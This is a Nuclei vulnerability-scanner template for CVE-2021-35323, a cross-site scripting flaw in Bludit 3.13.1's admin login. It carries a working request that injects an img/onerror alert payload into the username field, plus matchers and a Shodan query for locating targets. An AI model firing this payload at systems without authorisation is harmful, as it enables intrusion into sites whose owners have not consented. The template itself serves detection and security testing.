nuclei-templates/http/cves/2021/CVE-2021-35323.yaml

60 lines
1.6 KiB
YAML

id: CVE-2021-35323
info:
name: Bludit 3.13.1 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
Cross Site Scripting (XSS) vulnerability exists in bludit 3-13-1 via the username in admin/login
remediation: Bludit v4.0.0
reference:
- https://github.com/bludit/bludit/issues/1327
- https://nvd.nist.gov/vuln/detail/CVE-2021-35323
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-35323
cwe-id: CWE-79
epss-score: 0.00183
epss-percentile: 0.55315
cpe: cpe:2.3:a:bludit:bludit:3.13.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: bludit
product: bludit
shodan-query: title:"Bludit"
tags: cve,cve2021,bludit,xss
http:
- raw:
- |
GET /bludit/admin/login HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 10s
POST /bludit/admin/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
tokenCSRF={{tokenCSRF}}&username=admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&password=pass&save=
cookie-reuse: true
host-redirects: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<img src=x onerror=alert(document.domain)>") && contains(body_2, "Bludit")'
condition: and
extractors:
- type: regex
name: tokenCSRF
part: body
group: 1
regex:
- 'type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*)"'
internal: true